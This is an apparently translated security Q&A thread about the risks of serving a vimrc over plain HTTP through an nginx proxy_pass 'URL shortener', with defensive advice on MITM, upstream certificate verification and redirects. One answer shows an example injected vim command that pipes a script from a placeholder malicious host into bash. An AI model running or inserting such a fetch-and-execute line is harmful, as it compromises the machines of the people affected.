Problemas de seguridad al utilizar nginx como un acortador de URL ligero

0

Deseo utilizar nginx como un acortador de URL ligero. Para ser exactos, asumiendo que mi nombre de dominio es example.com , tengo este nginx.conf más básico:

events {}
http {
  server {
    listen 80;
    location = /vimrc {
      proxy_pass https://some/publicly/available/url/to/vimrc;                                
    }
    ... # similar locations follow
  }
}

Entonces, cuando quiera implementar mi configuración vim, simplemente puedo hacer: curl example.com/vimrc .

Esto parece estar funcionando según lo previsto, aunque con un conocimiento casi nulo de nginx, estoy un poco preocupado por el comportamiento predeterminado de nginx (que no conozco) que puede exponer a mi servidor a amenazas relacionadas con la seguridad.

Se debe tener en cuenta que actualmente no me importa ejecutar en el puerto 80. (Soy muy consciente de mitm, y de que la conexión está en texto plano, pero esto no es algo con lo que quiera lidiar en este momento).

Actualizar

  • He modificado la configuración para usar return 301 https://url/to/vimrc .
  • Probablemente buscaré Configuración de SSL también, ya que la pequeña posibilidad de MITM no es vale la pena el riesgo.
pregunta dankilman 19.04.2016 - 22:53
fuente

2 respuestas

2

La única vulnerabilidad aquí es la conexión http: // que deseaba ignorar.

Supongamos que hay un MITM, y el atacante agregado a su .vimrc

command Q !curl http://evilwebsite.com/infect.sh | bash

Luego, escribir mal :q como :Q infectaría su máquina. ¿Realmente vale la pena el riesgo?

Tenga en cuenta que incluso si aseguró su conexión a example.com, el mismo riesgo estaría allí si el proxy se hiciera a través de http :.

La solución básica sería hacer configure SSL , y seguramente será útil para otras cosas. , también.

Pero en este caso específico, donde nginx está obteniendo una https: // url pública, simplemente puede reemplazar esto con una redirección:

rewrite ^ https://some/publicly/available/url/to/vimrc ; 

y verifican manualmente que curl te está redirigiendo al servidor esperado .

Sin embargo, tener una rutina para descargar tus archivos de puntos del servidor de otra persona depende en gran medida de que sean honestos y no estén comprometidos.

¹ Probablemente hay mejores vectores.

    
respondido por el Ángel 20.04.2016 - 01:58
fuente
2

Además de lo que Ángel escribió , la conexión entre su servidor Nginx y https://some/ puede ser MITMed, porque% El certificado de some no se verifica de forma predeterminada. Tendría que configurar proxy_ssl_trusted_certificate and proxy_ssl_verify para hacer cumplir eso.

También debe consultar proxy_ignore_headers para encabezados como Set-Cookie y X-Accel-Redirect que un backend malicioso podría usar para hacer cosas problemáticas.

Sería menos extraño y quizás tenga menos implicaciones de seguridad si usas return o rewrite para redirigir a https://some/ , en lugar de proxy_pass ing it, pero no que puede salir mal, especialmente si confía en su backend y example.com no es un objetivo .

    
respondido por el Matt Nordhoff 20.04.2016 - 03:34
fuente

Lea otras preguntas en las etiquetas